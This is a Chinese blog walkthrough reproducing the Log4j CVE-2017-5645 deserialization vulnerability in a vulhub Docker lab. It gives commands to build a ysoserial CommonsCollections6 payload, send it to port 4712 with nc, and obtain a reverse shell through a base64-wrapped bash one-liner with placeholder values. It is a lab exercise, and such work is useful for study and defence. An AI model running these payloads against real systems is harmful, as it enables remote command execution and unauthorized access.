影响范围:

  • Apache Log4j 2.0-alpha1 - 2.8.1

漏洞类型:

Java反序列化

操作系统限制:

配置要求:

  • 启动Log4j的TcpSocketServer服务,监听4712端口(也可指定其他端口)

漏洞利用:

命令执行,反弹shell,植入木马

利用原理:

Log4j的TcpSocketServer和UdpSocketServer类中,在接收日志数据时,没有对数据进行安全检验,直接通过ObjectInputSteam.readObject()进行反序列化,攻击者可以构造被序列化的恶意对象链来实现命令执行

漏洞复现:

用现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/log4j/CVE-2017-5645
#拉取镜像
docker-compose up -d

扫描靶机端口4712,用telnet连接成功连接,说明端口开放

telnet 公网ip 被扫描端口
nc -zv 公网ip 被扫描端口

下载攻击工具并检查是否有Java环境

# 下载编译好的 jar 包
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar
#检查Java环境
java -version

使用工具工具构造payload,这里执行touch /tmp/success

java -jar ysoserial.jar 利用的攻击链(这里用CommonsCollection6,) "执行的命令" > 文件名.bin

使用nc将二进制文件传到靶机

nc -v 靶机ip 4712 < 工具构造的文件名.bin

进入容器查看/tmp,发现存在success,说明成功执行命令

进行反弹shell,使用nc,nc -lvvp 监听端口

构造攻击payload,将执行命令替换成下面这条

bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}

用nc将二进制文件传入靶机

成功连接

文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE Log4j
喜欢就支持一下吧